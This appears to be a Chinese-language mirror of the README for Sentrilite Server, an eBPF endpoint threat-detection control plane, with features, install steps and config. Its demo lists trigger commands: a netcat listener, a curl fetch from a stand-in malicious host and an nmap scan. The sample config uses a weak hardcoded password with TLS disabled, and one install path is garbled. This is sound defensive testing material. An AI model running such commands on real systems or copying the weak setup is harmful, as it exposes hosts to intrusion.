sentrilite/sentrilite-server
GitHub: sentrilite/sentrilite-server
一个基于 eBPF 的 Linux 端点实时威胁检测与响应控制平面,支持风险评分、自动处置和集中化管理。
Stars: 3 | Forks: 0
# Sentrilite Server — Sentrilite Agent 的控制平面、API 和 UI
## 网站:https://sentrilite.com
## 联系方式:info@sentrilite.com
# 实时演示 – 主动威胁响应

## 此演示展示的内容
- **在执行期间**检测主动威胁
- 基于 **syscall + 进程 + 网络行为**的风险评分
- 针对高风险活动的**自动进程终止**
此演示展示了使用 Sentrilite 在实时 Linux 系统上**实时检测并自动终止恶意活动**。
| 颜色 | 类别 | 含义 |
|------|---------|--------|
| 🔴 **红色** | 关键风险 | 确认的恶意行为,具有高置信度 |
| 🟠 **橙色** | 中等风险 | 需要调查的可疑活动 |
| 🟣 **紫色** | 主动响应 | 已采取强制措施 – 进程已终止 |
用于模拟的命令如下:
```
sudo nc -l 5000
curl http://malicious_payload.com >/dev/null 2>&1
nmap -p 22,80,443 127.0.0.1 >/dev/null 2>&1
```
# 主仪表板

# PDF 报告

# Sentrilite 工作流程图

Sentrilite Server 是 Sentrilite agent 的主要控制平面。
它从端点、服务器和 Kubernetes 节点摄取实时遥测数据,关联警报,并通过单一的 Web 仪表板和 API 展示所有内容。
## ✨ 核心功能
- 集中式控制平面
从单一服务器管理并监控云、本地和 Kubernetes 环境中的所有 Sentrilite agent。
- 管理警报
所有警报均使用 tls/ssl 密钥加密,并保存到集中的 postgres db 中。
- 实时遥测数据摄取
高吞吐量地摄取由 agent 实时流式传输的结构化进程、文件和网络事件。
- 统一的 Web 仪表板
用于实时事件流、警报分类、节点健康状态、规则管理和报告的 Web UI。
- 检测即代码与响应 (DACR)
使用 JSON 集中定义和管理检测规则。规则会在所有已连接的 agent 上即时应用——无需重启或重新部署。
- 风险评分与告警
事件会被标记、评分,并升级为带有清晰上下文的警报,以便快速分类和响应。
- AI / 启发式洞察(可选)
使用 LLM 或内置启发式算法生成每个节点的安全洞察,以总结警报并突出显示可疑行为。
- 审计与报告
导出符合审计要求的报告(PDF / JSON / CSV),包含时间线、风险活动和各节点摘要。
- Kubernetes 感知
当 agent 作为 DaemonSet 运行时,能够理解节点、Pod、容器 和 Namespace,并在 UI 中展示标准化的数据。
- 集成
将警报转发至现有工具,例如 Prometheus Alertmanager、PagerDuty、Slack 或外部 SIEM。
- 可扩展且轻量级
旨在以极低的运维开销处理大量事件。
## 📦 此软件包的内容
| 文件 | 用途
|---------------------------|------------------------------------------
| `install_db.sh` | 用于加载 ebpf 内核模块的脚本
| `sentrilite-serverctl.sh` | 用于启动/停止 sentrilite-server 的脚本
| `sentrilite-server` | Go 控制平面服务器,接受来自 agent 的警报并托管管理仪表板
| `ui/sentrilite.html` | 用于查看节点状态/警报/报告等的主前端 UI
| `ss.conf` | Sentrilite Server 的配置文件
| `server.cnf` | 用于生成密钥的配置文件
| `license.key` | Sentrilite 许可证密钥文件
| `LICENSE.txt` | Sentrilite 许可协议
| `gen_keys.txt` | 创建用于身份验证/授权的 tls/ssl/jwt 密钥的说明
| `README.md` | 本文档
## ⚙️ 系统要求
- 端口:8080(仪表板),9765(用于 agent 的 WebSocket)
## ⚙️ 常规要求
- postgres db:将警报保存到 postgres db,该数据库由安装脚本创建。
## 🔐 许可
该项目当前使用的是试用版 license.key。
## 🛠️ 第三方集成
- SIEMS:可与第三方 SIEM 工具无缝集成。
- 可以将警报推送到 Pagerduty/Prometheus-Alert-Manager。
## 🛠️ 安装步骤
1. **解压软件包:**
unzip sentrilite_se/install.shrver_bundle.zip
```
cd sentrilite-server
```
2. 启动 Postgres Server 并创建 sentrilite 数据库
```
sudo -u sentrilite psql -d sentrilite
CREATE USER sentrilite WITH PASSWORD 'prod';
CREATE DATABASE sentrilite OWNER sentrilite;
sudo ./install_db.sh
```
3. 生成 ssl/tls 密钥:
请参阅 gen_keys.txt。生成的密钥应为:ca certs、server certs 和 agent certs
以及 jwt 密钥(用于 agent 身份验证)
4. 打开 ss.conf 并进行配置:
```
LICENSE_FILE_PATH=./license.key
LISTEN_ADDR=:9765
# TLS / mTLS
TLS_CERT=ss.crt
TLS_KEY=ss.key
TLS_CA=ca.crt
# JWT
JWT_PRIVATE_KEY=jwt_private.pem
JWT_PUBLIC_KEY=jwt_public.pem
DATABASE_URL=postgres://sentrilite:prod@localhost:5432/sentrilite?sslmode=disable
ADMIN_USERNAME=
ADMIN_PASSWORD=
# LLM 集成
LLM_ENABLED=false
LLM_URL=
# AI insights 刷新间隔
AI_INSIGHTS_INTERVAL_MINUTES=1
# 每个节点考虑的最大 alerts 数
AI_INSIGHTS_MAX_ALERTS=50
```
4. 启动服务器:
```
sudo ./sentrilite-serverctl.sh start
```
5. 打开仪表板:
在浏览器中打开:http://:8080/sentrilite.html
点击选择节点文件,并选择一个包含您服务器列表的文件。
文件格式示例:
```
Server_1_ip_address,prod
Server_2_ip_address,test
```
上传成功后,Sentrilite agent 将监控这些服务器,
并显示状态/警报/AI 洞察。
欲了解更多详细信息,请参阅 dashboard.README
# 配置
- license.key — 放置在当前目录中(内置于镜像中或作为 Secret 挂载)。
- ss.conf — 配置文件
## 🛠️ 卸载步骤
```
sudo ./sentrilite-serverctl.sh stop
```
## 支持
如有许可、故障排除或功能请求:
- 📧 info@sentrilite.com
- 🌐 https://sentrilite.com
标签:AMSI绕过, Beacon Object File, Chrome Headless, DevSecOps, Docker镜像, EDR, IP 地址批量处理, Kubernetes安全, PB级数据处理, PDF报告, PostgreSQL, 上游代理, 后端开发, 响应系统, 多模态安全, 威胁检测, 安全仪表盘, 安全运维, 实时遥测, 密码管理, 控制平面, 日志审计, 构建工具, 测试用例, 混合云安全, 端点防护, 网络安全, 网络行为分析, 脆弱性评估, 自动化响应, 警报管理, 遥测数据, 隐私保护, 风险评分